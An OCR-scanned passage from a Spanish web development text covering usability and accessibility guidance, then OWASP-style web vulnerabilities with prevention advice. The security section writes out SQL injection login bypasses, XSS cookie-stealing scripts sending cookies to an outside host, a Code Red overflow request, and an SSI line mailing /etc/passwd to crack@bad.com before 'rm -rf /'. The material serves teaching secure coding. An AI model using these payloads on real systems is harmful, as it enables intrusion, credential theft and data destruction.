una version del sitio que se despliegue correctamente.

Evitar los splash screens

Los splash screens son paginas utilizadas como caratula de un sitio web,
generalmente carecen de elementos de navegacion mas que de un vinculo para
entrar al sitio o bien poseen un logotipo que al ser pulsado redirecciona a una
pagina formal. Hace algunos afios eran muy populares pero debido a que los
usuarios deseaban acelerar sus tareas en los sitios que visitaban, fueron
cayendo en desuso. Se debe evitar poner un splash porque es simplemente
una pérdida de tiempo. Se debe recordar que cualquier recurso que exista en
un sitio no deberia estar a mas de tres clic de distancia de donde se encuentra

el usuario actualmente.

Opciones primarias en la pagina de inicio

Muestre todos los links principales hacia las diversas secciones en la pagina
de inicio, esto ayudard a los usuarios a orientarse rapidamente en el sitio sin la
necesidad de dar clics adicionales para ver otros menus. Recuerde colocar

solamente lo mas importante.
Colocar vinculos hacia la pagina de inicio

Se debe asegurar que todas las paginas del sitio contengan un vinculo y una
imagen que al darle clic permita regresar a la pagina de inicio, el vinculo

generalmente contiene el texto “home” o “pégina de inicio” y el grafico o imagen

generalmente corresponde al logo de la compaifiia u organizacion.
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La razén de esto es que los usuarios necesitan en algin momento
orientarse y reiniciar una tarea o bien continuar con otra tarea distinta en

cualquier momento sin necesidad de presionar el boton regresar varias veces.

Colocar niveles de navegacion en cada pagina
Es importante que el usuario sepa en donde esta en cualquier momento,
esto se logra por medio de niveles de navegacion en la parte superior de cada

pagina. Un usuario puede con ello desplazarse a cualquier parte del sitio sin

necesidad de regresar pagina por pagina hasta el sitio deseado.
Figura 3 Niveles de navegacion

Home » Resources » Features » © Avaiding 16 pitfalls

Avoiding 16 Common OpenGL Pitfalls

Copyright 1995, 1999 by Mark J. Kilgard. Last Updated July 10, 2000 Commercial publication in wwritten,
electronic, or other forms without expressed written permizzion iz prohibited. Electronic redistribution
for educational or private use is permitied.

Every software engineer who has programmed long enough has a war story about some insidious bug that induced
scratching, [ate night debugging, and probably ewven schedule delays. bore often than we progammers care to admit, th
tums out to be zelf-inflicted. The difference between an experenced programmer and a nowvice is knowing the good practic
use and the bad practices to aweid so those self-inflicted bugs are kept to @ minimum.

Fuente : www.opengl.org

Home » Resources » Features » : Avoiding 16 pitfalls

Estos vinculos representan los niveles del sitio, y un usuario puede dirigirse
a cada uno de ellos con un simple clic. Generalmente se colocan en la parte

superior de cada pagina.
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Mostrar claramente el objetivo del sitio

Los usuarios nuevos deben saber desde el primer momento, el objetivo del
sitio, es decir, el tipo de informacion que posee y el sector que cubre. Se debe
evitar las paginas de inicio confusas y con poco sentido que tiendan a

desorientar al usuario.

Minimizar el scrolling o desplazamiento hacia abajo

La mayoria de usuarios ignora el scrolling de paginas, es decir que no
revisan el contenido de las paginas desplazandose hacia abajo. Si la
informacion que plantea mostrar es importante procure que todo el contenido
guepa en una pantalla. Si no es posible muestre cada pagina como maximo de
3 pantallas visuales de largo para desplegar la informacion. Si desea publicar
textos o articulos extensos, es mejor dividirlos en secciones y publicar cada
seccion en una pagina distinta con vinculos hacia atras y hacia delante del
mismo. También es recomendable proveer un medio de descarga de la
informacion de manera comprimida para ahorrar tiempo de descarga, los
usuarios agradeceran esta consideracioén. Las paginas largas son adecuadas
solo si el contenido es de caracter especializado y bien vale la pena esperar el
tiempo de descarga. En este caso se deben crear vinculos hacia la parte

superior de la pagina en los parrafos del texto conforme avance hacia abajo.
Minimizar el espacio en blanco

Siempre se debe minimizar el espacio sin utilizar en las paginas. El espacio
sin utilizar puede provocar scrolling innecesario, ademés puede dar una mala

imagen visual. Es aconsejable limitar el espacio en blanco en paginas de

informacion especializada o para lectura en linea.
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Seleccionar adecuadamente la longitud del texto

Es importante determinar qué criterio es mas importante en el disefio de
textos en linea, si la velocidad de lectura es lo importante escriba en lineas
extensas de 100 caracteres de longitud. Si la buena apariencia es lo
importante, entonces escriba en lineas de 50 caracteres, tenga en cuenta que

los usuarios leeran mas lentamente de esta manera.

Evitar las paginas huérfanas

En todo momento, las paginas del sitio deben tener vinculos hacia la pagina
de inicio y hacia los niveles anteriores en la estructura. Esto debe ser asi,

incluso si se trata de la dltima pagina de un arbol de navegacion.

Colores

Los colores dan personalidad al sitio y permiten crear un ambiente
determinado segun sea su combinacion y tonalidad, aunque no existe
informacion totalmente fiable sobre el efecto de los colores en la conducta del
usuario, los siguientes han sido conceptos recolectados de estudios con

usuarios:

Negro: color de la autoridad y poder, implica sumision, también puede indicar

exceso de poder o maldad, es elegante y hace parecer mas delgada a la gente.

Blanco: indica inocencia y pureza, refleja la luz, es neutral y combina con todos
los demas colores, sin embargo muestra facilmente la suciedad. Los doctores

usan el color blanco para denotar limpieza y esterilidad.

Rojo: el color mas emocional, estimula el corazén y la respiracién, también es
asociado con el amor, es un color extremo por lo que puede no ayudar en

negociaciones o conflictos, los carros rojos son blanco comun de los ladrones.
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Azul: el color del cielo y del mar, es popular, es tranquilizador y en ocasiones
frio y depresivo. Es usado en las entrevistas de trabajo para mostrar lealtad, la

gente en habitaciones azules es mas productiva.

Verde: el color de decoracion mas popular ya que simboliza a la naturaleza, es
el color mas facil de visualizar, es calmante y refrescante, es utilizado en

hospitales para relajar a los pacientes.

Amarillo: es considerado un color calido, puede hacer perder la paciencia a la
gente cuando se encuentra en habitaciones de este color, los bebés lloran més
en ambientes amarillos. Es el color mas dificil de tolerar para el ojo humano.

Motiva la concentracion y acelera el metabolismo.

Morado: el color de la realeza, denota lujo y bienestar econémico, pero al ser

raro en la naturaleza puede denotar superficialidad y vanidad.

Colores y browsers

Los browsers tienen distintas maneras de interpretar los colores reales, por
lo que una pagina vista en un browser podria no verse igual en otro, por esta
razén al realizar algun disefio se deben utilizar colores seguros o web safe
colors, lo cual garantiza que los colores se veran de igual manera
independientemente del browser que se utilice, estos forman un conjunto de

216 colores distintos.

Existen en el mercado varias herramientas que proveen de modos de
prueba para verificar los colores de una pagina antes de publicarla finalmente,
entre ellas se puede mencionar color wheel pro y color Impact, que ofrecen

versiones de prueba gratuitas por un tiempo limitado.
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Consistencia

El sitio debe tener el mismo disefio y usabilidad en todas sus paginas, es
decir que debe tener una sola unidad de disefio, esto incluye los colores y la
estructura navegacional de las paginas, esto es necesario para que el usuario
tenga una experiencia satisfactoria en la navegacion entre unidades del sitio y

evitar la confusion y desorientacion del visitante.

La w3c recomienda la siguiente lista de principios a la hora de crear paginas
para internet >’ (se han tomado algunos de ellos):

1. Proveer alternativas equivalentes al contenido visual:

Significa que se debe proveer en todo momento de alternativas de texto al
usuario que no disponga de navegadores graficos, esto es en paginas sin

contenido gréfico sino puramente textuales.

2. Asegurarse que el texto y gréaficos sean entendibles aun sin color

Este principio tiene que ver con las personas que tienen dificultades para ver
cierta gama de colores, por lo que los graficos deben ser visualizables aun sin
los mismos, la herramienta color impact provee de esa funcionabilidad, ya que
permite probar un grafico o pagina con las limitaciones visuales que padeceria

una persona con daltonismo por ejemplo.
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3. Use un lenguaje claro y natural:

Se deben utilizar pautas de lenguaje claro y en el caso de necesitar
caracteres especiales de un idioma determinado, hacerlo de acuerdo a las

etiquetas de html definidas para caracteres especiales.

4. Verificar que las tablas sean accesibles y carguen rapidamente:

Cuando se realice disefio con tablas, estas deben mostrarse rapidamente y

conservar su estructura entre navegadores.

5. Asegurarse gque las paginas que contengan nuevas tecnologias no

soportadas hasta el momento, sean accesibles.

Esto significa que cuando una funcién no sea soportada por el navegador, la
pagina debe mostrarse sin dicha funcion, pero debera seguir mostrando el resto

del contenido.

6. Asegulrese gque los objetos en pantalla que se muevan (por ejemplo
animaciones), den scroll o se autorefresquen puedan ser pausados o

detenidos.

Esta recomendacion es util para prevenir que los usuarios se cansen de

contenido visual molesto y redundante, lo cual es comun en las animaciones.

115



7. Disefiar para independencia de dispositivos

El disefio debe hacerse independiente de los dispositivos del sistema, es
decir que el sitio no debe funcionar solamente para el mouse o solamente para

el teclado, sino tener alternativas para ambos.

8. Proveer informacion de orientaciéon en el contexto

Esto significa que todo el tiempo el usuario debe saber donde se encuentra
en el sitio con relacion a la pagina de inicio del mismo, es decir que se tiene
que crear mapas de navegacidon que indiquen al usuario donde esta
actualmente, al mismo tiempo, se debe proporcionar al usuario una idea clara
de los vinculos que existen en la pagina y su destino. Se debe incluir un mapa

del sitio y proveer barras de navegacion o mendus.

4.1.4 Habito cuatro en seguridad

A continuacion se presenta un listado con las vulnerabilidades mas conocidas
hasta el afio 2004, la mayoria de ellas, han sido obtenidas del TOP 10 de
vulnerabilidades de la OWASP *;

4.1.5 Inyeccion SQL

Una de las vulnerabilidades mas comunes en aplicaciones para Internet es
la inyeccion SQL que consiste en inyectar comandos, no previstos por los
desarrolladores a la base de datos, con el fin de obtener datos de manera

anomala. A continuacion se presentan sus caracteristicas principales:
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La inyeccion SQL tiene como objeto primordial obtener datos que de otra
manera no serian accesibles de manera normal, esto es, suplantar los datos
gue se envian a la base de datos por parte de formularios incluidos en paginas
dindmicas como asp y php por medio de consultas 0 queries reescritas

maliciosamente de manera que la base de datos las interprete como legitimas.

Las inyecciones SQL pueden afectar a un gran numero de lenguajes de

programacion como:

e PHP

e ASP, ASP.NET

e XML, XSLy XSQL

e Java, Javascript

e VB, MFC, y otras herramientas basadas en ODBC
e C++, OCI, Pro*C, and COBOL

e Perl y CGI

o Eftc

El procedimiento de ataque en una inyeccién SQL consiste en lo siguiente:

Una instruccion SQL normal en una aplicacion con ASP podria consistir en

el siguiente cédigo:

<form name="login" action="valida.asp' method="post'>
Usuario: <input type="text' name="usuario''>

Password: <input type="text" name="pass''>

<input type="submit'>

</form>
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El cual proporciona los campos necesarios para ingresar el login y

password en un formulario web con el fin de acceder a un area restringida de

algun sitio.

El cddigo asociado al formulario puede ser el siguiente:

sql=""SELECT * FROM usuarios WHERE user="" & usuario & " and
pass="" & pass & """

Lo cual valida que el usuario y password ingresado desde algun formulario

coincida con los datos almacenados en una tabla de la base de datos.

La instruccion enviada a la base de datos es:

Select * FROM usuarios WHERE user=”juan’ and pass=~x112~

El problema consiste en que un usuario malicioso puede cambiar los

parametros y manipular los contenidos de los datos a enviar de la siguiente

manera.

usuario: juan’ or true

pass : XXX> or true
Con lo cual la nueva cadena enviada a la base de datos seria la siguiente:

SELECT * FROM usuarios WHERE

user="juan® or true and pass="xxx" or true

La cual sigue siendo una instruccion valida a nivel de instrucciones SQL

pero que contiene cddigo adicional malicioso.

La cadena:

WHERE user="juan® or true and pass="xxx" or true
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Valida que la variable ‘usuario’ sea igual a “a” o “true” lo cual en términos
de logica booleana es siempre verdadero, es mas facil verlo si se le colocan

paréntesis:

user=("juan® or true)

El algebra booleana para el operador or exige que uno de los dos
miembros de la expresion debe ser verdadero para que toda la expresion sea

considerada también verdadera, en este caso:

("juan® or true)

es siempre verdadero, por lo que la primera parte de la consulta lleva un valor
de verdadero.
La otra parte de la instruccion SQL se comporta de manera similar:

and pass="xxx" or true

La cual se comporta como la instruccibn mencionada anteriormente y que
devuelve el valor de verdadero con lo cual la consulta funciona como si en

realidad estuviera escrita asi:

SELECT * FROM usuarios

Lo cual es muy distinto a la consulta original y provoca que sean

desplegados todos los datos de los usuarios sin importar la contrasefa.
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La consulta SQL podria incluso contener comandos como delete que sirve
para eliminar registros, update para modificarlos, o inclusive comandos como
drop que eliminaria tablas, objetos de la base de datos y se podria llegar hasta

el extremo de eliminar bases de datos enteras.

Prevencion y solucion

La inyeccion SQL es muchas veces dificil de detectar ya que la base de
datos se comporta de manera normal porgue las consultas parecen ser validas,
sin embargo, es importante revisar el cddigo de las aplicaciones para verificar
que consultas que manejen datos sensitivos no estén expuestas de manera
directa a este ataque, la estrategia principal de prevencion es validar los datos

provenientes de los usuarios. La regla de oro en aplicaciones web es:

Los datos provenientes de las maquinas clientes son 100% inseguros

Por lo tanto se debe validar desde el lado del servidor todos los datos que
se procesen.

La validaciéon debe evitar que se pase a la base de datos, caracteres
ilegales, instrucciones SQL compuestas, llaves, paréntesis, palabras como
union, select, update o delete que forman parte del cédigo SQL y caracteres

hexadecimales.
Al final de esta seccién (habito 4 en seguridad) se presenta un conjunto de

reglas para validar la informacion proveniente del cliente para evitar las

vulnerabilidades mas comunes.
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4.1.6 Cross site scripting (XSS)

Junto con la inyeccion SQL, es una de las vulnerabilidades mas
comunes, consiste en enviar junto con el encabezado de http, cdédigo malicioso

que se ejecuta en el servidor remoto.

Caracteristicas

El ataque de XSS es una forma de ejecutar codigo en una computadora
remota por medio de scripts que se envian embebidos en los parametros del
URL, el servidor normalmente toma este URL como valido y ejecuta las
instrucciones que encuentra donde van incluidos comandos maliciosos que
pueden acceder o modificar informacién sensitiva, sesiones, cookies, 0

reescribir el cddigo de la pagina entre otras cosas.

Una péagina normal podria contener el siguiente codigo en el URL
php

http://www._example.com/search.php?text="vulnerabilidades”
ASP

http://www._example.com/search.asp?text="vulnerabilidades”

Lo cual devolveria de manera normal, el resultado de busqueda para la

variable text y la cadena de busqueda vulnerabilidades

Sin embargo un hacker podria cambiar el URL y reescribirlo de la siguiente
manera:

php

http://www.example.com/search.php?text="vulnerabilidades”

<script>alert(document.cookie)</script>

121


http://www.example.com/search.php?text='vulnerabilidades
http://www.example.com/search.asp?text='vulnerabilidades
http://www.example.com/search.php?text='vulnerabilidades

ASP

http://www.example.com/search.asp?text="vulnerabilidades”

<script>alert(document.cookie)</script>

Si la aplicacion no valida los caracteres en el URL, entonces un intruso
podria obtener de este modo las cookies del servidor. Se debe enfatizar que
este tipo de ataque se puede ejecutar incluso si el URL va encriptado por
medio de SSL!! Por lo que no se puede confiar en que el encriptamiento
elimine dichas vulnerabilidades.

Por ejemplo:

https://phpnuke.org/modules.php?isjx=sdfs8df7s8df7s8d7f8sd7f8s7
df8s939flvlasdfs&d=<codigo malicioso>

Solucién

Valide las URL, query strings, cadenas de conexion, variables de formulario
y campos ocultos, de modo que no contengan caracteres no validos. Algunos

caracteres no validos que pueden ser explotados son:

Tabla IX Caracteres invalidos en encabezados http

Caracteres no validos equivalente hexadecimal

<script>: %3C%73%63%72%69%70%74%3E
< %3C
> %3E
( &#40
) &#41
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No olvide que todos los caracteres pueden ser convertidos a su
equivalente en unicode por lo no debe confiar Unicamente en la validacion

textual.

Por ejemplo el URL.:

<script>document.location="http://www.cgisecurity.com/cgi-

bin/cookie.cgi?' +document.cookie</scripts>

Es totalmente equivalente al siguiente codificado en Unicode:

%22%3e%3¢c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2¢e
%6¢%6{%63%61%74%69%6/%6€%3d%27
%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65
%63%75%72%69%74%79%2e%63%61%6d%2{%63%67%69 %2d%62%69%6e%2f
%63%61%61%60%69%65%2e%63%6 7%69%3{%27%20%2b%64%6f%63%75%6d%65%6e€%74%2e%63
%6f %6f%60b%69%65%3c%2f%73%63%72%69%70%74%3e

Pero igualmente peligroso, puede burlar la validacién por texto plano.

Evite ademas los peligrosos caracteres:

“9%00” (null character), “;” (punto y coma).

4.1.7 Cookie Poisoning

Las cookies mantienen informacion almacenada en la computadora cliente,
lo cual permite a los sitios web autenticar a los usuarios, configurar la
presentacion del sitio o aplicaciones, y controlar la conducta de los usuarios
entre otras cosas. Sin embargo, se puede hacer un uso inadecuado de ellas.
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La técnica de la cookie envenenada consiste en apropiarse de una identidad
que no es la propia, por medio del manejo de las cookies de sesion, este ataque
permite obtener privilegios de otros usuarios haciéndose pasar por ellos, al

utilizar para ello las cookies de forma alterada.

La técnica es bastante simple, cuando se crea una cookie en la maquina de
algun usuario, dicha cookie no esta protegida de ninguna forma y por lo tanto es
posible alterarla, por lo que el servidor la reconocera como valida la préxima
vez que la utilice y la informacion que contiene puede ser utilizada de manera

maliciosa.

El problema de las cookies de sesidn es complejo porque implica varios

aspectos como:
e Creacion y eliminacion de cookies
e Concurrencia de sesiones

e Terminacion de sesion y tiempo maximo de la misma.
Las cookies pueden tener varios formatos:
Persistentes y no-persistentes

Las cookies persistentes se almacenan en archivos de texto en las maquinas
clientes y son validas mientras su tiempo de expiracibn no haya llegado al
limite. Las cookies no persistentes, se almacenan en la ram de la maquina

cliente y son destruidas cuando se cierra el browser o cuando el usuario cierra

sesion.
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Seguras y no-seguras

Las cookies seguras se pueden enviar soOlo si se encuentra activado SSL
(HTTPS) mientras que las cookies no seguras se pueden enviar tanto por
HTTPS o HTTP convencional. El titulo de seguras, se refiere Unicamente al
transporte, ya que una vez en la maquina del usuario no es posible protegerlas

de la manipulacion, inclusive si estan encriptadas.

Una cookie no encriptada es facilmente alterada como puede verse en el

siguiente ejemplo:

Cookie original:

Cookie: lang=en-us; ADMIN=no; y=1 ; time=10:30GMT ;

Cookie Alterada:

Cookie: lang=en-us; ADMIN=yes; y=1 ; time=12:30GMT ;

Encriptar las cookies tampoco sirve de mucho, porque también pueden ser

alteradas:

Cookie original encriptada:

www.sitiodecomercios.com FALSE zyzxzirfh6463298123948585062104

Cookie alterada:
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www.sitiodecomercios.com FALSE qsimhim6463298123948585062104

Figura 4. Cookie alterada

& cookies - Motepad Fil=1
File Eddt Search Help
# NHetscape HTTP Cookie File =

® NCTp://wwwW.netscape.con/newsref/std/cookie spec.ntml
# This is a generated file! Do not edit

www.sitiodecomercios.com FALSE gsimhim6463298123948585062104

fuente: navegador Netscape

Aunque el encriptamiento de las cookies las hace mas dificil de atacar, un
hacker con la suficiente paciencia y herramientas adecuadas puede alterarlas y
lograr un ataque efectivo, ya sea forzando una sesion o bien impersonando a

otro usuario.

La prevencion de ataques por cookie poisoning normalmente requiere el
uso de firmas digitales y almacenamiento de parametros de las cookies en el
servidor. Las cookies deben ser examinadas para determinar si la fecha de
creacién, nombre, los valores, IP y las sesiones almacenadas en la cookie
concuerden con los parametros almacenados en el servidor, si una cookie fue
modificada entonces la comparacion con los datos del servidor hara que esta
sea invédlida y no sea tomada en cuenta. No es suficiente verificar el ip sino

también los datos encriptados que estan almacenados en la misma.

Si el mecanismo de sesién por cookies representa riesgo para datos muy

valiosos, entonces se debe elegir otros métodos de autenticacion como tokens.
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Es sumamente recomendable el uso de herramientas de seguridad para
verificar la seguridad de las aplicaciones, ademas las cookies deben ir
encriptadas para dificultar la manipulacion, pero se debe mencionar que la

principal tarea de seguridad es del experto de seguridad y los desarrolladores.

4.1.8 Buffer overflow

El atague por buffer overflow consiste simplemente en mandar a un
servidor web o aplicacion, mas datos de los que puede manipular, con el fin de

inutilizar el servidor o tomar control de €l mientras dure el ataque.

Los ataques por buffer overflow tienen por objeto corromper el stack del
servidor y aprovechar el tiempo de recuperacion para ganar acceso total o

ejecutar codigo en la maquina victima.

Al igual que en los ataques de XSS el buffer overflow puede ser enviado
por un parametro del URL y generalmente dicho pardmetro es inusualmente
largo y contiene caracteres no usuales, un ejemplo de este ataque es el codigo

utilizado por el worm Code red:

GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%uch
d3%u7801%u9090%u6858%uchd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u5
31b%u53FF%u0078%u0000%u00=a
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Prevencién

Asegurese de validar que los pardmetros no sean excesivamente largos,
asigneles siempre una longitud maxima, valide también los formularios web y
verifique que los campos que utiliza el usuario para ingresar datos no sean
mayores que el maximo tamafio asignado, valide también las cookies para
evitar que estas contengan valores excesivamente grandes, siempre haga las
validaciones en el servidor. Estas validaciones deben hacerse en el servidor
web, Las nuevas versiones de estos servidores (Apache 2.1 e IIS 6.0) vienen
preconfiguradas para brindar proteccién contra este ataque pero es conveniente

revisar las funciones de los mismos.

4.1.9 Forzado de parametros (parameter Tampering)

El forzado de parametros es un ataque bastante simple y consiste en
modificar datos en las aplicaciones, especificamente en los datos ocultos en las

paginas.

Por ejemplo una aplicacion tipica podria consistir en la siguiente interfase:
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Figura5. Pantallade login tipica

@ UniidediocumeniEICTosolisiniernss ,__j ._mj i*fﬂ
| Ele Edit Wew Favorites Tools Help i

»

'f] E] _:"_i /- ) Search

Address @ Ci\Documents and Settings'li_"_; Go Links 2

Google - | j fboearchweb

I ingrese sus datos
|| usuario

i password

| -E] Done _é Iy Computer

Fuente: navegador Internet Explorer

Para validar entradas muy largas el desarrollador pudo haber limitado del

lado del cliente la longitud del usuario y password de la siguiente manera:

<input name="usuario" type="text" id="login" maxlength="25">

<input name="password" type="password" id="contrasena" maxlength="10">

Sin embargo, un usuario malicioso podria guardar la pagina localmente en
su maquina y modificar los parametros de la siguiente manera:
<input name="usuario" type="text" id="login" maxlength="250000000000">

<input name="password" type="password" id="contrasena"
maxlength="100000">

Y al ser enviado al servidor, si este no cuenta con politicas de proteccion
podria causar un buffer overflow.

Otro problema existe cuando los desarrolladores colocan campos ocultos,
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los cuales no son visibles normalmente, pero pueden ser accesados por medio
del cddigo de la pagina. Estos campos son utilizados para facilitar el envio de
pardmetros que no se necesitan visualizar o de los cuales el usuario no
necesita tener conocimiento, sin embargo son muy faciles de alterar como se

vera a continuacion:

Si la pantalla mostrada en la figura 5 tuviera un cédigo oculto para manejar

las sesiones, de la siguiente manera:

<input name="admin" type="hidden" value="N">

Lo cual significa que un usuario que se autentique utilizando dicha pantalla
no ingresara como administrador. Sin embargo un usuario malicioso podria

cambiar dicho parametro y volver a enviar el formulario de la siguiente manera:

<input name="admin' type="hidden" value="Y">

Lo cual le daria permisos de administrador de manera fraudulenta.

Mas critico aun es cuando se maneja articulos en sitios de comercio
electrénico y el precio esta incluido en uno de estos campos ocultos, aunque
parezca poco creible que se maneje asi, una buena cantidad de tiendas en
linea estan disefiadas de esta manera, lo cual les hace vulnerables a ataques

de este tipo, por ejemplo el cédigo siguiente:

<input name="price" type="hidden"” value=7625.32"">
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Podria ser cambiado en la maquina del cliente de la siguiente manera:

<input name="price" type="hidden" value="1.50"">

Con lo cual el producto cambiaria de precio desde $625.32 a {$1.50!

La bl]squeda de la cadena <input name="price" type="hidden"

en el sitio de comercio www.froogle.com devolvio los siguientes resultados:

Results 1 - 10 of about 2 confirmed / 82 total results for <input name="price" type="hidden".
(0.25 seconds

Cart32 Shopping Cart System for Windows
$12.00 - www.cart32.com
... input type=hidden name="Item" value="Really Cool T-Shirt"> <input type=hidden

name="PartNo" value="Shirt25"> <input type=hidden name="Price" value="12"> Really ...
Online Shopping Tutorial Part 1 - Electronic Commerce - [Speedsoft ...
$10.00 - www.speedsoft.com

... value="test"> <input type=hidden name="ID" value="C101-A"> <input type=hidden

name="name" value="Gumball Machine"> <input type=hidden name="price" value="25.99 ...

La misma busqueda en www,google.com devolvid 2,540 resultados
Prevencion y solucion
Si se desea manejar sesiones, en lugar de campos ocultos es mejor

utilizar cookies validadas en el servidor o tokens de sesion, los permisos de los
usuarios se deben validar siempre en la base de datos por medio de roles.
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Se debe validar el input de los usuarios para evitar que envien scripts o
caracteres invalidos. Validar el tamafio maximo de las cadenas de caracteres y
también revisar las URL para evitar que se modifiquen parametros directamente
en ellas. Recuerde que toda validacion debe ser efectuada del lado del

servidor y que los datos provenientes del cliente son inseguros por definicion.

4.1.10 Cadigo furtivo (stealth commanding)

Los ataques por codigo furtivo consisten en ejecutar codigo en una

computadora remota sin el conocimiento o autorizacion de la victima.

El ataque es una variante del cross site scripting y consiste en enviar al
servidor remoto, URL modificadas maliciosamente o bien incluir cédigo
malicioso en campos de texto para intentar ejecutar comandos del sistema

operativo en la maquina remota y con ello, tomar control absoluto del servidor.

El codigo ejecutado en la maquina victima es del sistema operativo es
decir comandos como delete, copy, move etc. Y va embebido en parametros

que el servidor interpreta como normales.

Los parametros por consecuencia, dejan de serlo y se convierten en
ordenes para el sistema operativo donde reside el servidor.
La mayoria de ataques ocurren por medio de scripts de Perl o CGls pero

ASP y PHP no son invulnerables a dichos ataques.

Ejemplos de dicho ataque son:

GET /scripts/..%cO0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/
c+dir+c:\ HTTP/1.0
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De ser inyectado, el ataque lanzaria el DOS de la maquina remota y

mostraria los archivos situados en el servidor.

<!--#fexec cmd="mail -s 'Ha Ha' crack@bad.com </etc/passwd; rm -rf /"-->

Este ataque podria robar el archivo de passwords en cualquier maquina

*nix , Linux o alguna de sus variantes.

Solucién

Nuevamente la solucion para este ataque es validar el input del usuario,
desde el lado del servidor y filtrar el contenido de los campos de texto y otros
elementos de parametros en las paginas web, recuerde que debe validar el

equivalente codificado en Unicode de los caracteres peligrosos.

4.1.11 Recorrido de directorios (directory traversal)

El recorrido de directorios es un ataque que permite a usuarios maliciosos

recorrer directorios fuera del limite al cual estan asignados por definicion.

Normalmente una aplicacion web reside en algun directorio del servidor y
todos sus recursos se localizan dentro de dicho directorio, el ataque consiste en
enviar URL modificadas con el fin de poder acceder a cualquier directorio o
archivo que se encuentre en el servidor y conseguir privilegios elevados dentro
del mismo. Una vez obtenidos los privilegios, un intruso puede ejecutar
cualquier cédigo dentro del servidor, cambiar o eliminar datos, o bien poner

fuera de servicio al servidor.
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Ejemplos de esta vulnerabilidad:

http://host/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwinnt%5cwin.ini
"GET A\ \winnt\win.ini HTTP/1.0"

Este ataque devolveria el archivo win.ini localizado en el servidor.

http://host/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwinnt/

Este ataque mostraria los archivos situados en el directorio winnt del servidor

victima.

Solucién

Esta vulnerabilidad se puede detener por medio de validacién en el
servidor de caracteres no validos, como %Z2e <,> etc. Actualmente, los
servidores web mas populares en sus versiones mas recientes (Apache 2.x, IS
6) proveen parches para este tipo de vulnerabilidades, por o que se aconseja
mantener al dia el web server y las herramientas de desarrollo (php, asp,

asp.net).

Los archivos y directorios del web server deben estar protegidos contra
accesos por parte de usuarios no autorizados y todos los archivos o scripts no
utilizados deben ser eliminados. Las claves de usuario se deben reforzar

adecuadamente y los permisos de grupo deben ser restringidos.
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4.1.12 Errores no previstos

En una aplicacibn web siempre existen errores, ya sea involuntarios,
cuando un usuario trata de acceder un recurso no existente, cuando no posee
los permisos adecuados, cuando ha cometido un error de datos y la aplicacién
los atrapa etc.

Se debe ser muy estricto y crear escenarios de pruebas en los cuales se
comete todo tipo de errores intencionalmente, antes de que el sistema salga a
produccion, con el fin de validar cualquier posible error para que el mensaje que
se muestre al usuario tenga sentido y no muestre informacion que pueda
explotarse. Posibles errores son los volcados de pila, los punteros a null, fallas

de hardware, fallas de red, fallas de base de datos, fallas de servidor etc.

En todo momento el usuario debe recibir mensajes de error que tengan
sentido, primeramente por seguridad para evitar que un cédigo interpretable por
hackers pueda darles informacién sobre como atacar el sistema y finalmente
por usabilidad ya que los usuarios deben saber en todo momento qué hacer si

existe un error y como recuperarse si es posible.

Solucién

El manejo de errores es un asunto complejo que requiere alta proactividad
de parte de los desarrolladores y el experto de seguridad, supervisado por el
lider del proyecto y los expertos en usabilidad. Se deben hacer escenarios de
fallos y tormentas de ideas donde intencionalmente creen situaciones anémalas

tratando de buscar cualquier tipo de error mientras se use el sitio.
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Una vez encontrados los errores se deben solucionar y se debe hacer
un nuevo test. Es recomendable que en el test, participen usuarios reales del
sistema que ejecuten funciones segun su experiencia ya que normalmente los
usuarios tienen wuna vision distinta del proyecto con respecto a los

desarrolladores.

4.1.13 Estrategias de validacion de datos

Los ataques mencionados con anterioridad son en su mayoria permitidos
por falta de validacion de los datos enviados por los usuarios. Como regla
general: los datos de los usuarios son 100% inseguros hasta que se
demuestre lo contrario, por lo tanto, es necesario contar con una politica de
validacion bien definida, en general existen 3 tipos de criterios para validar

datos:

e Aceptar solo datos validos y conocidos
e Rechazar los datos maliciosos

e Sanear la informacion

Cualquiera de los tres métodos se debe revisar por:
e Tipo de datos (numéricos, caracteres, etc)
e Sintaxis (ej. que no contenga <,> % $

e Longitud de los datos (ej. 10 caracteres)

A continuacioén se describe brevemente las técnicas antes mencionadas:
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Aceptar solo datos validos y conocidos

Esta técnica consiste en aceptar soélo los datos conocidos y esperados por
la aplicacion y rechazar cualquiera que no se ajuste a los mismos. Es
considerada la mejor practica ya que en lugar de bloquear datos, permite solo

ciertos datos, que tienen sentido para el servidor.

Por ejemplo, en el caso del ingreso de usuarios al sistema, los datos
validos serian caracteres alfanumeéricos [A-Z] [a-z] [0-9] con una longitud
maxima de unidades, lo cual impediria un ataque de stealth commanding o
buffer overflow.

El resto de datos seria descartado.

Rechazar datos maliciosos

Consiste en bloquear ciertos datos que son considerados maliciosos para
el servidor, esta técnica se basa en evitar antes que permitir, es decir, que los
datos se consideran maliciosos 0 erroneos solamente si contienen algun
caracter no valido o prohibido, por ejemplo, los caracteres: <,>,$#, (,),,%5
pueden ser marcados como invalidos, por lo que cualquier entrada que

contenga alguno de ellos es rechazada.

El problema con este esquema es que es dificil mantener el grupo de
caracteres invalidos, ya que nuevas vulnerabilidades pueden agregar otros
caracteres no especificados a la lista de peligrosos. Este esquema no es muy

bueno por lo que se recomienda la politica de aceptar sélo datos conocidos.
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Sanear los datos

Esta técnica consiste en analizar la informacién de entrada y verificar si
contiene caracteres maliciosos o0 prohibidos, si este es el caso, entonces los
datos se analizan con un scanner que remueve los caracteres invalidos y
devuelve la cadena sin los datos maliciosos y la pasa a los procesos
respectivos.

Esta técnica es similar a la de rechazar los datos maliciosos pero agrega
la posibilidad de sanear dichos datos. Sin embargo al igual que sucede con la
técnica antes mencionada, es dificil saber cuéles son todos los caracteres
potencialmente peligrosos en parametros de entrada, por lo que no se aconseja

como la mejor técnica de validacion.

Validacién en ASP y PHP

Los ataques descritos con anterioridad han sido documentados
ampliamente y han afectado a muchas aplicaciones en Internet, por lo que las
